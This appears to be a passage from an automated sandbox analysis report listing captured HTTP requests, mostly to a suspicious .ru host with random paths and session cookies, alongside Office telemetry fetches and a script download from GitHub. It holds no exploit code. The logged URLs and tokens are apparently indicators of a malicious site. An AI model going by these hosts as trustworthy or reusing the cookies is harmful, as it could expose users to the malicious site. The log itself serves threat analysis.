laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ghcBoLvO4eJm0eAlk0f5ymMiedTy7yuz6y2BhxyJEwi3AR9wPbZFFelr4hPsyKPlHTxYRJef210 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250325%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250325T192404Z&X-Amz-Expires=300&X-Amz-Signature=b6561b9284a0fde4eb4338bfa557b758d34e648eb8a6865ced04e2af106b9cc2&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ufw.xcsyiuul.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /qr0uxgtuTYR0QcCiSXUt98TdL9Tf5oTcXdP2Z0IGfr0stxNczZh4i6yjWFbKiM3mL4WBw03hTKwAVkwNGg8ef240 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /stx2M5Jdm9gg3qBffFoJIJebt5UabJPIc8FXwxuEsbkhsJTk2mnfFjrC5KgZFdLD9yyO1RhDbBmQ3SGmwJNtEef260 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ijU7wFhpaX6XEytqxmDUYP9cdfjsxCFxkbJSgXhNOE78162 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /wx91xlouZ2zkhWhOatXe5l49FJemH6yeYsrsrV6smnndZO1NFomqQfSbW6Jwqab176 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /ijxYiExoAKyD0D7ivyCqb9jMquCo7gopGnTmrMy6ZwXS3AQOP4rDRUjab230 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rsBcnDvaiorUutbh5B3Adjnuv5P6J55tBLVCjJ9xNFEiXCcd195 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /kl4L6GOLUlZagYCbsT3n6wqLN3PPB4LSklCpkdoB6Hfbkn8qxSWHH35Dn219CI55zF4wx220 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /ghcBoLvO4eJm0eAlk0f5ymMiedTy7yuz6y2BhxyJEwi3AR9wPbZFFelr4hPsyKPlHTxYRJef210 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /qr0uxgtuTYR0QcCiSXUt98TdL9Tf5oTcXdP2Z0IGfr0stxNczZh4i6yjWFbKiM3mL4WBw03hTKwAVkwNGg8ef240 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /ijxYiExoAKyD0D7ivyCqb9jMquCo7gopGnTmrMy6ZwXS3AQOP4rDRUjab230 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
